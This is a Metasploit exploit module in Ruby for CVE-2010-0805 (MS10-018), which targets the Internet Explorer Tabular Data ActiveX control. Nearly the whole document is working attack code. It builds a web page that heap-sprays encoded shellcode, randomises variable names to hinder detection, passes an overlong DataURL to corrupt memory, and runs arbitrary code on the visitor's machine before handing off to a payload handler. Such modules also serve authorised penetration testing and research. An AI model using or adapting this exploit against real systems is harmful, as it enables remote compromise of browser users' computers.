This Metasploit module exploits a memory corruption vulnerability in the Internet Explorer Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet Explorer are vulnerable. By specifying a long value as the "DataURL" parameter to this control, it is possible to write a NUL byte outside the bounds of an array. By targeting control flow data on the stack, an attacker can execute arbitrary code.
f289814b228dcb38a6cb14ec1a0f1b164ee34f9990d3cdfec8eb912f49211937##
# $Id: ms10_018_ie_tabular_activex.rb 9018 2010-04-05 20:25:56Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer Tabular Data Control ActiveX Memory Corruption',
'Description' => %q{
This module exploits a memory corruption vulnerability in the Internet Explorer
Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet
Explorer are vulnerable.
By specifying a long value as the "DataURL" parameter to this control, it is possible
to write a NUL byte outside the bounds of an array. By targeting control flow data
on the stack, an attacker can execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Anonymous', # original discovery
'jduck' # metasploit version
],
'Version' => '$Revision: 9018 $',
'References' =>
[
[ 'CVE', '2010-0805' ],
[ 'OSVDB', '63329' ],
[ 'BID', '39025' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-034' ],
[ 'MSB', 'MS10-018' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "", #"\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic (Heap Spray)',
{
'Ret' => 0x0c0c0c0c
}
],
],
'DisclosureDate' => 'Mar 09 2010',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{target.name})...")
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Set the return\nops
ret = Rex::Text.to_unescape([target.ret].pack('V'))
# ActiveX parameters
#progid =
clsid = "333C7BC4-460F-11D0-BC04-0080C7055A83"
# exploit url
url = "http://"
#url << rand_text_alphanumeric(258)
url << rand_text_alphanumeric(258+0x116+2)
# Construct the final page
var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)
var_memory = rand_text_alpha(rand(100) + 1)
var_spray = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
html = %Q|<html><body>
<script>
var #{var_memory} = new Array();
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var #{var_spray} = #{var_unescape}("#{ret * 2}");
do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0x4000 );
for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
</script>
<object classid='clsid:#{clsid}'>
<param name='DataURL' value='#{url}'/>
</object>
</body></html>
|
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end
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